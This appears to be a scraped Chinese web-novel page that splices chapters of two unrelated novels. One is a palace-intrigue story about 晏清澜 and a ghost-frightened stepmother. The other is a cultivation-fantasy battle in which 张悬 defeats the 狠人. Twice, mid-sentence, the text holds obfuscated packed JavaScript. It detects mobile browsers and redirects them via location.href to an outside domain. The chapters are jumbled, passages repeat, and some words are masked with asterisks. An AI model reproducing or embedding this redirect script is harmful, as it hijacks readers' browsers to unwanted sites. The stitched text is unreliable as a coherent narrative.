晏清澜被她这话逗乐了,伸手捏了捏她鼓鼓的脸蛋:“这话你在家里说说就罢了,可别到外头去嚷嚷,当心被人套麻袋。” 宋溪溪哼唧了一声,似乎还想争辩几句,但傅清霁身边的翠环恰好过来,说是前厅已经备好了晚膳,请他们过去。 她只得把满腹的话又咽了回去。 晚饭时,一家人围坐在一起,气氛温馨而融洽。 傅清霁和厉宗玉都劝晏清澜今晚就留在府里歇息,别再回那冷清的浮萍居了。 晏清澜婉言谢绝了,只说自己还有些要紧事需要处理。 傅清霁和厉宗玉对视一眼,都明白她指的是什么。 第一百六十七章 这些日子,晏清澜明里暗里地筹谋着什么,他们也都看在眼里,只是从未点破罢了。 见她坚持,两人便也不再强留,只叮嘱她万事小心。 夜幕低垂,晏清澜换上了一身玄色劲装,与白日里那副娇柔的模样判若两人。 她坐在桌边,指尖轻轻拨动着摇曳的烛火。突然,外头传来一阵细微的响动,像是什么东西轻轻撞在了窗棂上。 晏清澜眼神一凛,指尖猛地一顿,烛火颤了颤,险些熄灭。她不动声色地起身,缓缓朝窗边走去。 “谁?”晏清澜压低声音,冷冷地问道。 窗外没有回应,只有一片寂静。 晏清澜眯起眼睛,正要再次开口,窗户却突然被人从外面推开了。 月光下,一张熟悉的脸庞出现在她面前,银白色的面具在夜色中泛着幽幽的光。 “深更半夜,不睡觉,你这是要当采花贼?”晏清澜双手环抱在胸前,语气中带着一丝戏谑,身子却微微紧绷,做好了随时出手的准备。 童玄珏似乎没想到她会是这副反应,微微一怔,随即轻笑一声:“采花贼?本王若是想采花,何须等到现在?” 他顿了顿,目光落在晏清澜身上,语气中带着几分玩味:“倒是你,这一身打扮,莫不是要去劫富济贫?” 晏清澜挑了挑眉,没有回答他的问题,而是反问道:“你来做什么?” 童玄珏没有直接回答,而是自顾自地走进了房间,目光在屋内扫了一圈,最后落在桌上那盏还未熄灭的蜡烛上。 “本王是来告诉你,好戏开场了。”他淡淡地说道,声音中听不出任何情绪。 晏清澜心中一动,瞬间明白了他的意思。她嘴角微微勾起,露出一抹意味深长的笑容:“哦?看来今晚苏府注定不太平了。” 童玄珏看着她脸上的笑容,眼神微微闪烁了一下,却没有说什么。 他转身走到窗边,望着外面黑沉沉的夜色,淡淡地说道:“走吧,别错过了精彩的部分。” 晏清澜耸了耸肩,没有再多说什么,身形一晃,便从窗口跃了出去。 两人在夜色中穿梭,很快便来到了苏府的后院。 苏府的守卫稀松平常,两人很轻松便潜入了府中,且没惊动任何人。 与外院的安静不同,苏府内院此刻却是灯火通明,人声嘈杂,乱成了一团。 钱雅芝披头散发,面色惨白,整个人都显得有些神志不清。她被晏玥玥和几个丫鬟搀扶着,身体还在不停地颤抖。 “我……我看见了……”钱雅芝的声音嘶哑而颤抖,眼神中充满了恐惧。 “娘,您看见什么了?”晏玥玥紧紧地抓着她的胳膊,声音中带着哭腔。 钱雅芝却像是没有听见她的话,只是一个劲儿地摇头,嘴里不停地念叨着:“别过来……别过来……” 几个丫鬟围在她身边,不停地安慰着她,但钱雅芝却像是完全听不进去,整个人都陷入了一种极度恐惧的状态之中。 “大夫呢?大夫怎么还没来?”晏玥玥急得团团转,朝着身边的丫鬟大声喊道。 “已经派人去请了,应该马上就到了。”一个丫鬟战战兢兢地回答道。 话音刚落,一个大夫便匆匆忙忙地赶了过来。他给钱雅芝把了脉,又仔细地询问了一番,最后却只说是受了惊吓,并无大碍。 “受了惊吓?”晏玥玥愣住了,“怎么会受了惊吓呢?娘一直都在房间里,也没出去过啊。” 大夫摇了摇头,表示自己也不清楚。 钱雅芝却在这时突然尖叫起来:“鬼!有鬼!” 她猛地推开身边的丫鬟,跌跌撞撞地朝后退去,眼神中充满了惊恐。 屋子里的人都被她这突如其来的举动吓了一跳,纷纷朝她看去,却什么也没有发现。 “娘,您到底怎么了?您别吓我啊!”晏玥玥扑到钱雅芝身边,紧紧地抱住她,声音中带着哭腔。 钱雅芝却像是完全失去了理智,她死死地盯着前方,嘴里不停地喊着:“别找我……别找我……要找就去找晏清澜!是她……都是她……” “母债女偿……你去找她……去找她……”钱雅芝的声音越来越凄厉,如同疯魔一般。 屋子里的人都被她这番话吓得脸色煞白,一个个都噤若寒蝉。 晏景文的脸色更是阴沉得可怕,他紧紧地握着拳头,手背上的青筋都暴了起来。 晏清澜站在暗处,将这一切都看在眼里。她的脸色依旧平静,只是眼神变得更加冰冷。“鬼!有鬼!” 钱雅芝一声尖叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16097244|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,猛地推开身边的丫鬟,跌跌撞撞地向后退去。 她脸色煞白,瞳孔放大,死死盯着前方,仿佛真的看到了什么不干净的东西。 屋子里的人吓了一跳,都顺着她的目光看过去,可除了影影绰绰的烛光,什么也没有。 晏清澜站在暗处,看着这突如其来的一幕,轻轻挑了挑眉。 这钱雅芝,戏还挺足。 “娘,您这是怎么了?您可别吓女儿啊!” 晏玥玥一个箭步冲上去,死死抱住钱雅芝,声音里带着哭腔。 可钱雅芝像是完全失了心智,只是死死盯着前方,嘴里不停地念叨着: “别过来……别过来……冤有头债有主,你们要找就去找晏清澜!都是她……都是她的错……” “母债女偿……天经地义……你们去找她……去找她……” 她越说声音越尖利,跟疯了没什么两样。 晏清澜远远看着,眸色渐冷。 余光瞥见童玄珏投来的视线,她微微侧了侧头,脸上毫无波澜。 不得不说,钱雅芝这一手,确实够狠。 只是不知道,屋子里这些人,有几个会信她这番鬼话? 晏清澜想起书中,原主小时候,曾经在下雨天,一个人孤零零地站在屋檐下。 那雨下得极大,像是永远也不会停。 小小的女孩儿仰头问天,她和晏玥玥,明明都是钱雅芝的女儿,为什么得到的待遇,却一个天上,一个地下? 为什么? 这问题,可真是问得好。 晏清澜微微抬了抬下巴,等着看钱雅芝还能说出些什么来。 钱雅芝浑身发抖,哭喊着,声音都变了调: “你们要找的人是晏清澜!别来找我!” “她就是个扫把星,是她克**你们!” “你们的死,跟我没关系!跟我没关系!” 晏清澜听了这话,忍不住冷笑一声。 好一个“扫把星”,好一个“克**你们”。 明明是她自己为了晏玥玥的前程,一手造下的孽,如今却把所有罪过都推到了自己头上。 还真是……让人叹为观止。 给钱雅芝诊脉的王大夫,此刻恨不得自己是个聋子。 第一百六十八章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百六十九章 